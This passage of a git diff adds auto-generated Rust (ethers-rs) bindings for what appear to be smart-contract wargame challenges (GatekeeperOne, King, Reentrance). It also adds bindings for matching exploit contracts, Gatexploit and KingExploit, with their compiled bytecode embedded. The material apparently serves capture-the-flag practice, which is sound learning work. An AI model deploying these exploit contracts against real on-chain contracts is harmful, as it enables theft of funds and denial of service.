{ + return Ok(Self::Entrant(decoded)); + } + Err(::ethers::core::abi::Error::InvalidData.into()) + } + } + impl ::ethers::core::abi::AbiEncode for GatekeeperOneCloneCalls { + fn encode(self) -> Vec { + match self { + Self::Enter(element) => ::ethers::core::abi::AbiEncode::encode(element), + Self::Entrant(element) => ::ethers::core::abi::AbiEncode::encode(element), + } + } + } + impl ::core::fmt::Display for GatekeeperOneCloneCalls { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + match self { + Self::Enter(element) => ::core::fmt::Display::fmt(element, f), + Self::Entrant(element) => ::core::fmt::Display::fmt(element, f), + } + } + } + impl ::core::convert::From for GatekeeperOneCloneCalls { + fn from(value: EnterCall) -> Self { + Self::Enter(value) + } + } + impl ::core::convert::From for GatekeeperOneCloneCalls { + fn from(value: EntrantCall) -> Self { + Self::Entrant(value) + } + } + ///Container type for all return fields from the `enter` function with signature `enter(bytes8)` and selector `0x3370204e` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + pub struct EnterReturn(pub bool); + ///Container type for all return fields from the `entrant` function with signature `entrant()` and selector `0x9db31d77` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + pub struct EntrantReturn(pub ::ethers::core::types::Address); +} diff --git a/attack/src/abi/gatexploit.rs b/attack/src/abi/gatexploit.rs new file mode 100644 index 0000000..347b1c0 --- /dev/null +++ b/attack/src/abi/gatexploit.rs @@ -0,0 +1,168 @@ +pub use gatexploit::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types, +)] +pub mod gatexploit { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::None, + functions: ::core::convert::From::from([ + ( + ::std::borrow::ToOwned::to_owned("attack"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("attack"), + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_target"), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + outputs: ::std::vec![], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static GATEXPLOIT_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = ::ethers::contract::Lazy::new( + __abi, + ); + #[rustfmt::skip] + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[Pa\x01L\x80a\0 `\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0+W`\x005`\xE0\x1C\x80c\xD0\x18\xDB>\x14a\x000W[`\0\x80\xFD[a\0Ca\0>6`\x04a\0\xC4V[a\0EV[\0[`@Qc\x19\xB8\x10'`\xE1\x1B\x81Re\x04\xB9\0\0\x04\xB9`\xC5\x1B`\x04\x82\x01R\x81\x90`\x01`\x01`\xA0\x1B\x03\x82\x16\x90c3p N\x90aa\t\x90`$\x01` `@Q\x80\x83\x03\x81`\0\x88\x87\xF1\x15\x80\x15a\0\x9AW=`\0\x80>=`\0\xFD[PPPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\0\xBF\x91\x90a\0\xF4V[PPPV[`\0` \x82\x84\x03\x12\x15a\0\xD6W`\0\x80\xFD[\x815`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0\xEDW`\0\x80\xFD[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\x01\x06W`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\0\xEDW`\0\x80\xFD\xFE\xA2dipfsX\"\x12 \x99fTn^`\x90\xD5\x08\x08J\x8EGT%\x18q\xBC\x06SVo.y\xB7\xBBt`\x81E@\xCAdsolcC\0\x08\x14\x003"; + /// The bytecode of the contract. + pub static GATEXPLOIT_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static( + __BYTECODE, + ); + #[rustfmt::skip] + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0+W`\x005`\xE0\x1C\x80c\xD0\x18\xDB>\x14a\x000W[`\0\x80\xFD[a\0Ca\0>6`\x04a\0\xC4V[a\0EV[\0[`@Qc\x19\xB8\x10'`\xE1\x1B\x81Re\x04\xB9\0\0\x04\xB9`\xC5\x1B`\x04\x82\x01R\x81\x90`\x01`\x01`\xA0\x1B\x03\x82\x16\x90c3p N\x90aa\t\x90`$\x01` `@Q\x80\x83\x03\x81`\0\x88\x87\xF1\x15\x80\x15a\0\x9AW=`\0\x80>=`\0\xFD[PPPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\0\xBF\x91\x90a\0\xF4V[PPPV[`\0` \x82\x84\x03\x12\x15a\0\xD6W`\0\x80\xFD[\x815`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0\xEDW`\0\x80\xFD[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\x01\x06W`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\0\xEDW`\0\x80\xFD\xFE\xA2dipfsX\"\x12 \x99fTn^`\x90\xD5\x08\x08J\x8EGT%\x18q\xBC\x06SVo.y\xB7\xBBt`\x81E@\xCAdsolcC\0\x08\x14\x003"; + /// The deployed bytecode of the contract. + pub static GATEXPLOIT_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static( + __DEPLOYED_BYTECODE, + ); + pub struct Gatexploit(::ethers::contract::Contract); + impl ::core::clone::Clone for Gatexploit { + fn clone(&self) -> Self { + Self(::core::clone::Clone::clone(&self.0)) + } + } + impl ::core::ops::Deref for Gatexploit { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { + &self.0 + } + } + impl ::core::ops::DerefMut for Gatexploit { + fn deref_mut(&mut self) -> &mut Self::Target { + &mut self.0 + } + } + impl ::core::fmt::Debug for Gatexploit { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(Gatexploit)).field(&self.address()).finish() + } + } + impl Gatexploit { + /// Creates a new contract instance with the specified `ethers` client at + /// `address`. The contract derefs to a `ethers::Contract` object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self( + ::ethers::contract::Contract::new( + address.into(), + GATEXPLOIT_ABI.clone(), + client, + ), + ) + } + /// Constructs the general purpose `Deployer` instance based on the provided constructor arguments and sends it. + /// Returns a new instance of a deployer that returns an instance of this contract after sending the transaction + /// + /// Notes: + /// - If there are no constructor arguments, you should pass `()` as the argument. + /// - The default poll duration is 7 seconds. + /// - The default number of confirmations is 1 block. + /// + /// + /// # Example + /// + /// Generate contract bindings with `abigen!` and deploy a new contract instance. + /// + /// *Note*: this requires a `bytecode` and `abi` object in the `greeter.json` artifact. + /// + /// ```ignore + /// # async fn deploy(client: ::std::sync::Arc) { + /// abigen!(Greeter, "../greeter.json"); + /// + /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); + /// let msg = greeter_contract.greet().call().await.unwrap(); + /// # } + /// ``` + pub fn deploy( + client: ::std::sync::Arc, + constructor_args: T, + ) -> ::core::result::Result< + ::ethers::contract::builders::ContractDeployer, + ::ethers::contract::ContractError, + > { + let factory = ::ethers::contract::ContractFactory::new( + GATEXPLOIT_ABI.clone(), + GATEXPLOIT_BYTECODE.clone().into(), + client, + ); + let deployer = factory.deploy(constructor_args)?; + let deployer = ::ethers::contract::ContractDeployer::new(deployer); + Ok(deployer) + } + ///Calls the contract's `attack` (0xd018db3e) function + pub fn attack( + &self, + target: ::ethers::core::types::Address, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([208, 24, 219, 62], target) + .expect("method not found (this should never happen)") + } + } + impl From<::ethers::contract::Contract> + for Gatexploit { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the `attack` function with signature `attack(address)` and selector `0xd018db3e` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "attack", abi = "attack(address)")] + pub struct AttackCall { + pub target: ::ethers::core::types::Address, + } +} diff --git a/attack/src/abi/king.rs b/attack/src/abi/king.rs new file mode 100644 index 0000000..f42a913 --- /dev/null +++ b/attack/src/abi/king.rs @@ -0,0 +1,300 @@ +pub use king::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types, +)] +pub mod king { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::None, + functions: ::core::convert::From::from([ + ( + ::std::borrow::ToOwned::to_owned("_king"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("_king"), + inputs: ::std::vec![], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("owner"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("owner"), + inputs: ::std::vec![], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("prize"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("prize"), + inputs: ::std::vec![], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Uint( + 256usize, + ), + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("uint256"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, + }, + ], + ), + ]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static KING_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = ::ethers::contract::Lazy::new( + __abi, + ); + pub struct King(::ethers::contract::Contract); + impl ::core::clone::Clone for King { + fn clone(&self) -> Self { + Self(::core::clone::Clone::clone(&self.0)) + } + } + impl ::core::ops::Deref for King { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { + &self.0 + } + } + impl ::core::ops::DerefMut for King { + fn deref_mut(&mut self) -> &mut Self::Target { + &mut self.0 + } + } + impl ::core::fmt::Debug for King { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(King)).field(&self.address()).finish() + } + } + impl King { + /// Creates a new contract instance with the specified `ethers` client at + /// `address`. The contract derefs to a `ethers::Contract` object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self( + ::ethers::contract::Contract::new( + address.into(), + KING_ABI.clone(), + client, + ), + ) + } + ///Calls the contract's `_king` (0x29cc6d6f) function + pub fn king( + &self, + ) -> ::ethers::contract::builders::ContractCall< + M, + ::ethers::core::types::Address, + > { + self.0 + .method_hash([41, 204, 109, 111], ()) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `owner` (0x8da5cb5b) function + pub fn owner( + &self, + ) -> ::ethers::contract::builders::ContractCall< + M, + ::ethers::core::types::Address, + > { + self.0 + .method_hash([141, 165, 203, 91], ()) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `prize` (0xe3ac5d26) function + pub fn prize( + &self, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([227, 172, 93, 38], ()) + .expect("method not found (this should never happen)") + } + } + impl From<::ethers::contract::Contract> + for King { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the `_king` function with signature `_king()` and selector `0x29cc6d6f` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "_king", abi = "_king()")] + pub struct KingCall; + ///Container type for all input parameters for the `owner` function with signature `owner()` and selector `0x8da5cb5b` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "owner", abi = "owner()")] + pub struct OwnerCall; + ///Container type for all input parameters for the `prize` function with signature `prize()` and selector `0xe3ac5d26` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "prize", abi = "prize()")] + pub struct PrizeCall; + ///Container type for all of the contract's call + #[derive(Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash)] + pub enum KingCalls { + King(KingCall), + Owner(OwnerCall), + Prize(PrizeCall), + } + impl ::ethers::core::abi::AbiDecode for KingCalls { + fn decode( + data: impl AsRef<[u8]>, + ) -> ::core::result::Result { + let data = data.as_ref(); + if let Ok(decoded) + = ::decode(data) { + return Ok(Self::King(decoded)); + } + if let Ok(decoded) + = ::decode(data) { + return Ok(Self::Owner(decoded)); + } + if let Ok(decoded) + = ::decode(data) { + return Ok(Self::Prize(decoded)); + } + Err(::ethers::core::abi::Error::InvalidData.into()) + } + } + impl ::ethers::core::abi::AbiEncode for KingCalls { + fn encode(self) -> Vec { + match self { + Self::King(element) => ::ethers::core::abi::AbiEncode::encode(element), + Self::Owner(element) => ::ethers::core::abi::AbiEncode::encode(element), + Self::Prize(element) => ::ethers::core::abi::AbiEncode::encode(element), + } + } + } + impl ::core::fmt::Display for KingCalls { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + match self { + Self::King(element) => ::core::fmt::Display::fmt(element, f), + Self::Owner(element) => ::core::fmt::Display::fmt(element, f), + Self::Prize(element) => ::core::fmt::Display::fmt(element, f), + } + } + } + impl ::core::convert::From for KingCalls { + fn from(value: KingCall) -> Self { + Self::King(value) + } + } + impl ::core::convert::From for KingCalls { + fn from(value: OwnerCall) -> Self { + Self::Owner(value) + } + } + impl ::core::convert::From for KingCalls { + fn from(value: PrizeCall) -> Self { + Self::Prize(value) + } + } + ///Container type for all return fields from the `_king` function with signature `_king()` and selector `0x29cc6d6f` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + pub struct KingReturn(pub ::ethers::core::types::Address); + ///Container type for all return fields from the `owner` function with signature `owner()` and selector `0x8da5cb5b` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + pub struct OwnerReturn(pub ::ethers::core::types::Address); + ///Container type for all return fields from the `prize` function with signature `prize()` and selector `0xe3ac5d26` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + pub struct PrizeReturn(pub ::ethers::core::types::U256); +} diff --git a/attack/src/abi/king_exploit.rs b/attack/src/abi/king_exploit.rs new file mode 100644 index 0000000..b948384 --- /dev/null +++ b/attack/src/abi/king_exploit.rs @@ -0,0 +1,167 @@ +pub use king_exploit::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types, +)] +pub mod king_exploit { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_king"), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + }), + functions: ::core::convert::From::from([ + ( + ::std::borrow::ToOwned::to_owned("becomeKing"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("becomeKing"), + inputs: ::std::vec![], + outputs: ::std::vec![], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: true, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static KINGEXPLOIT_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = ::ethers::contract::Lazy::new( + __abi, + ); + #[rustfmt::skip] + const __BYTECODE: &[u8] = b"`\x80`@R`@Qa\x02x8\x03\x80a\x02x\x839\x81\x01`@\x81\x90Ra\0\"\x91a\0UV[`\0\x80T3`\x01`\x01`\xA0\x1B\x03\x19\x91\x82\x16\x17\x90\x91U`\x01\x80T\x90\x91\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90Ua\0\x85V[`\0` \x82\x84\x03\x12\x15a\0gW`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0~W`\0\x80\xFD[\x93\x92PPPV[a\x01\xE4\x80a\0\x94`\09`\0\xF3\xFE`\x80`@R`\x046\x10a\0\"W`\x005`\xE0\x1C\x80cg\x08\xCCc\x14a\0pW`\0\x80\xFD[6a\0kW`\0T`\x01`\x01`\xA0\x1B\x03\x16a\x08\xFCa\0AG`\x01a\x01nV[`@Q\x81\x15\x90\x92\x02\x91`\0\x81\x81\x81\x85\x88\x88\xF1\x93PPPP\x15\x80\x15a\0iW=`\0\x80>=`\0\xFD[\0[`\0\x80\xFD[4\x80\x15a\0|W`\0\x80\xFD[Pa\0i`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\0\x97W`\0\x80\xFD[`\x01T`@\x80Qcq\xD6.\x93`\xE1\x1B\x81R\x90Q`\0\x92`\x01`\x01`\xA0\x1B\x03\x16\x91c\xE3\xAC]&\x91`\x04\x80\x83\x01\x92` \x92\x91\x90\x82\x90\x03\x01\x81\x86Z\xFA\x15\x80\x15a\0\xE1W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01\x05\x91\x90a\x01\x95V[`\x01T`@Q\x91\x92P`\0\x91`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90\x83\x90\x83\x81\x81\x81\x85\x87Z\xF1\x92PPP=\x80`\0\x81\x14a\x01WW`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x01\\V[``\x91P[PP\x90P\x80a\x01jW`\0\x80\xFD[PPV[\x80\x82\x01\x80\x82\x11\x15a\x01\x8FWcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[\x92\x91PPV[`\0` \x82\x84\x03\x12\x15a\x01\xA7W`\0\x80\xFD[PQ\x91\x90PV\xFE\xA2dipfsX\"\x12 \xF6\"\xE6\x9C\xE8\x7F\xB2\xA0Z>'\xE5\r\xD4\xAB8\xD0g\x04b{\xDA\x90Y\xC5,\x01\xEE\xCBxT\xD9dsolcC\0\x08\x14\x003"; + /// The bytecode of the contract. + pub static KINGEXPLOIT_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static( + __BYTECODE, + ); + #[rustfmt::skip] + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R`\x046\x10a\0\"W`\x005`\xE0\x1C\x80cg\x08\xCCc\x14a\0pW`\0\x80\xFD[6a\0kW`\0T`\x01`\x01`\xA0\x1B\x03\x16a\x08\xFCa\0AG`\x01a\x01nV[`@Q\x81\x15\x90\x92\x02\x91`\0\x81\x81\x81\x85\x88\x88\xF1\x93PPPP\x15\x80\x15a\0iW=`\0\x80>=`\0\xFD[\0[`\0\x80\xFD[4\x80\x15a\0|W`\0\x80\xFD[Pa\0i`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\0\x97W`\0\x80\xFD[`\x01T`@\x80Qcq\xD6.\x93`\xE1\x1B\x81R\x90Q`\0\x92`\x01`\x01`\xA0\x1B\x03\x16\x91c\xE3\xAC]&\x91`\x04\x80\x83\x01\x92` \x92\x91\x90\x82\x90\x03\x01\x81\x86Z\xFA\x15\x80\x15a\0\xE1W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01\x05\x91\x90a\x01\x95V[`\x01T`@Q\x91\x92P`\0\x91`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90\x83\x90\x83\x81\x81\x81\x85\x87Z\xF1\x92PPP=\x80`\0\x81\x14a\x01WW`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x01\\V[``\x91P[PP\x90P\x80a\x01jW`\0\x80\xFD[PPV[\x80\x82\x01\x80\x82\x11\x15a\x01\x8FWcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[\x92\x91PPV[`\0` \x82\x84\x03\x12\x15a\x01\xA7W`\0\x80\xFD[PQ\x91\x90PV\xFE\xA2dipfsX\"\x12 \xF6\"\xE6\x9C\xE8\x7F\xB2\xA0Z>'\xE5\r\xD4\xAB8\xD0g\x04b{\xDA\x90Y\xC5,\x01\xEE\xCBxT\xD9dsolcC\0\x08\x14\x003"; + /// The deployed bytecode of the contract. + pub static KINGEXPLOIT_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static( + __DEPLOYED_BYTECODE, + ); + pub struct KingExploit(::ethers::contract::Contract); + impl ::core::clone::Clone for KingExploit { + fn clone(&self) -> Self { + Self(::core::clone::Clone::clone(&self.0)) + } + } + impl ::core::ops::Deref for KingExploit { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { + &self.0 + } + } + impl ::core::ops::DerefMut for KingExploit { + fn deref_mut(&mut self) -> &mut Self::Target { + &mut self.0 + } + } + impl ::core::fmt::Debug for KingExploit { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(KingExploit)) + .field(&self.address()) + .finish() + } + } + impl KingExploit { + /// Creates a new contract instance with the specified `ethers` client at + /// `address`. The contract derefs to a `ethers::Contract` object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self( + ::ethers::contract::Contract::new( + address.into(), + KINGEXPLOIT_ABI.clone(), + client, + ), + ) + } + /// Constructs the general purpose `Deployer` instance based on the provided constructor arguments and sends it. + /// Returns a new instance of a deployer that returns an instance of this contract after sending the transaction + /// + /// Notes: + /// - If there are no constructor arguments, you should pass `()` as the argument. + /// - The default poll duration is 7 seconds. + /// - The default number of confirmations is 1 block. + /// + /// + /// # Example + /// + /// Generate contract bindings with `abigen!` and deploy a new contract instance. + /// + /// *Note*: this requires a `bytecode` and `abi` object in the `greeter.json` artifact. + /// + /// ```ignore + /// # async fn deploy(client: ::std::sync::Arc) { + /// abigen!(Greeter, "../greeter.json"); + /// + /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); + /// let msg = greeter_contract.greet().call().await.unwrap(); + /// # } + /// ``` + pub fn deploy( + client: ::std::sync::Arc, + constructor_args: T, + ) -> ::core::result::Result< + ::ethers::contract::builders::ContractDeployer, + ::ethers::contract::ContractError, + > { + let factory = ::ethers::contract::ContractFactory::new( + KINGEXPLOIT_ABI.clone(), + KINGEXPLOIT_BYTECODE.clone().into(), + client, + ); + let deployer = factory.deploy(constructor_args)?; + let deployer = ::ethers::contract::ContractDeployer::new(deployer); + Ok(deployer) + } + ///Calls the contract's `becomeKing` (0x6708cc63) function + pub fn become_king(&self) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([103, 8, 204, 99], ()) + .expect("method not found (this should never happen)") + } + } + impl From<::ethers::contract::Contract> + for KingExploit { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the `becomeKing` function with signature `becomeKing()` and selector `0x6708cc63` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "becomeKing", abi = "becomeKing()")] + pub struct BecomeKingCall; +} diff --git a/attack/src/abi/mod.rs b/attack/src/abi/mod.rs index 2e0e789..9457c99 100644 --- a/attack/src/abi/mod.rs +++ b/attack/src/abi/mod.rs @@ -1,9 +1,22 @@ #![allow(clippy::all)] -//! This module contains abigen! generated bindings for -//! solidity contracts. This is autogenerated code. +//! This module contains abigen! generated bindings for solidity contracts. +//! This is autogenerated code. //! Do not manually edit these files. -//! These files may be overwritten by the codegen system at -//! any time. -pub mod example; +//! These files may be overwritten by the codegen system at any time. +pub mod building; +pub mod coin_flip; +pub mod coin_flip_exploit; +pub mod donatexploit; +pub mod elevator; +pub mod elevator_exploit; +pub mod force_exploit; +pub mod gatekeeper_one; +pub mod gatekeeper_one_clone; +pub mod gatexploit; +pub mod king; +pub mod king_exploit; +pub mod reentrance; pub mod std_invariant; pub mod std_style; +pub mod telephone; +pub mod telephone_exploit; diff --git a/attack/src/abi/reentrance.rs b/attack/src/abi/reentrance.rs new file mode 100644 index 0000000..c66fb34 --- /dev/null +++ b/attack/src/abi/reentrance.rs @@ -0,0 +1,373 @@ +pub use reentrance::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types, +)] +pub mod reentrance { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::None, + functions: ::core::convert::From::from([ + ( + ::std::borrow::ToOwned::to_owned("balanceOf"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("balanceOf"), + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_who"), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("balance"), + kind: ::ethers::core::abi::ethabi::ParamType::Uint( + 256usize, + ), + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("uint256"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("balances"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("balances"), + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Uint( + 256usize, + ), + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("uint256"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("donate"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("donate"), + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_to"), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + outputs: ::std::vec![], + constant: ::core::option::Option::None, + state_mutability: 